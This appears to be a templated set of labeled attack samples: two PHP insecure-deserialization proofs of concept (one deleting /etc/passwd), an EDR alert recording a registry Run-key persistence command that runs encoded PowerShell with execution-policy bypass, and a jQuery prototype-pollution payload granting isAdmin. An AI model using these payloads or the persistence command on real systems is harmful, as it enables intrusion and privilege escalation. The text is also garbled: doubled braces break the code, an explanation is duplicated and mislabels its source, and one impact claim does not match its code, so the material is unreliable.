## Vulnerability Report

**ID**: VULN-237132
**Date**: 2025-08-23T14:05:17Z
**Severity**: Critical

### Proof of Concept

```
<?php
class FileHandler {{
    public $filename;
    public function __destruct() {{
        if (file_exists($this->filename)) {{
            unlink($this->filename);
        }}
    }}
}}

// Attacker sends serialized object:
// O:11:"FileHandler":1:{{s:8:"filename";s:11:"/etc/passwd";}}
```

### Impact
Remote code execution via insecure deserialization.

Explanation: Contains insecure deserialization code in PHP. Deserializing untrusted data can allow an attacker to instantiate arbitrary objects and execute gadget chains, leading to remote code execution, file manipulation, or denial of service.

## Vulnerability Report

**ID**: VULN-393215
**Date**: 2025-11-16T04:51:31Z
**Severity**: Critical

### Proof of Concept

```
<?php
class Logger {{
    public $logFile;
    public $logData;
    public function __wakeup() {{
        file_put_contents($this->logFile, $this->logData);
    }}
}}
// Deserialization of untrusted input from cookie:
$user = unserialize(base64_decode($_COOKIE["session"]));
```

### Impact
Remote code execution via insecure deserialization.

Explanation: Contains insecure deserialization code in PHP. Deserializing untrusted data can allow an attacker to instantiate arbitrary objects and execute gadget chains, leading to remote code execution, file manipulation, or denial of service.


[2025-11-03T11:23:24Z] ALERT EDR: Suspicious process execution detected
Host: db-master
User: admin
PID: 23233
Command:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d "powershell -ep bypass -e lrgiK5tLm9v+enJbZuJuMjS3861ZC1oJfD+qxelc" /f

Explanation: Contains a persistence mechanism for maintaining unauthorized access found in a EDR alert. This represents active exploitation or post-exploitation activity, enabling an attacker to execute arbitrary commands, maintain persistent access, or establish covert communication channels with a command-and-control server.

Explanation: Contains a persistence mechanism for maintaining unauthorized access found in a incident report. This represents active exploitation or post-exploitation activity, enabling an attacker to execute arbitrary commands, maintain persistent access, or establish covert communication channels with a command-and-control server.


# Vulnerability Assessment
# Application: auth-service
# Date: 2025-01-17T07:41:23Z
# Payload:

// jQuery deep extend
const payload = JSON.parse('{{"constructor": {{"prototype": {{"isAdmin": true}}}}}}');
$.extend(true, {}, payload);
// Prototype chain polluted

Explanation: Contains prototype pollution via jQuery.extend. By injecting properties into Object.prototype via __proto__ or constructor.prototype, an attacker can modify the behavior of all JavaScript objects in the application, potentially escalating privileges, bypassing security checks, or achieving remote code execution.
